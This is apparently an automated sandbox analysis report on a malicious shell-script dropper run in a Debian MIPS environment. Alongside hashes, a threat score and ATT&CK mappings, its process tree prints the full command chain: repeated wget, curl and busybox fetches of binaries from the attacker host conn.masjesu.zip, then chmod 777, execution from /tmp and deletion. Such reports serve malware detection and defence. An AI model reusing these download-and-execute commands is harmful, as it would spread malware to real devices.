ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac

Analysis

max time kernel
150s
max time network
84s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2024, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
Size 10KB
Sample241027-dc2n4atemq
SHA256 ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac
MD5 a1329951e2eba09d1222076e3dd4b047
SHA1 ab745d5eeb288f4b11eb212ecc7ca42d3de79e92
SHA512 fd0e9356a3b477d8e50ecf95446d00e3f0829e1189c56f6592087be740ef52ec0048ba14cbd86b021a7bd793a2364011c811504a66eda3f14968a546fb7c89ab
SSDEEP 192:cVUINuG7Uo9GmNNMuUJmHXeVlhrHXeVlhcxUINuGpUo9GmT:qUINuG7Uo9GmNNMuUJNUINuGpUo9GmT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
769	chmod
794	chmod
812	chmod
827	chmod
851	chmod
729	chmod
736	chmod
819	chmod
871	chmod
879	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	730	7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	737	2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	748	EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	771	PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	796	5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	813	zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	820	JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	829	EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	852	BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	872	rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
/tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8	880	tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 35 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
712	curl
739	wget
752	wget
781	curl
810	busybox
840	curl
870	busybox
788	busybox
878	busybox
728	busybox
735	busybox
740	curl
807	curl
825	busybox
867	curl
876	curl
705	wget
816	curl
818	busybox
847	busybox
875	wget
733	curl
743	busybox
764	busybox
815	wget
732	wget
823	curl
857	wget
883	wget
757	curl
775	wget
801	wget
822	wget
833	wget
884	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	curl
File opened for modification	/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	curl
File opened for modification	/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	curl
File opened for modification	/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	curl
File opened for modification	/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	curl
File opened for modification	/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	curl
File opened for modification	/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	curl
File opened for modification	/tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8	curl
File opened for modification	/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	curl
File opened for modification	/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	curl
File opened for modification	/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	curl

/tmp/ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
/tmp/ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:705
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:728
- /bin/chmod
  chmod 777 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  ./7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:731
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - System Network Configuration Discovery
  PID:735
- /bin/chmod
  chmod 777 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  ./2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  ./EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod 777 PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  ./PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:773
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:775
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:788
- /bin/chmod
  chmod 777 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  ./5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - System Network Configuration Discovery
  PID:810
- /bin/chmod
  chmod 777 zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  ./zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - System Network Configuration Discovery
  PID:818
- /bin/chmod
  chmod 777 JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  ./JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - System Network Configuration Discovery
  PID:825
- /bin/chmod
  chmod 777 EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  ./EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:832
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - System Network Configuration Discovery
  PID:833
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - System Network Configuration Discovery
  PID:847
- /bin/chmod
  chmod 777 BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  ./BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - System Network Configuration Discovery
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - System Network Configuration Discovery
  PID:870
- /bin/chmod
  chmod 777 rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  ./rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  ./tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP

Path /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

BrnxPv433MjDjfrrf92rrgfNzZalGRak1C

Path /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512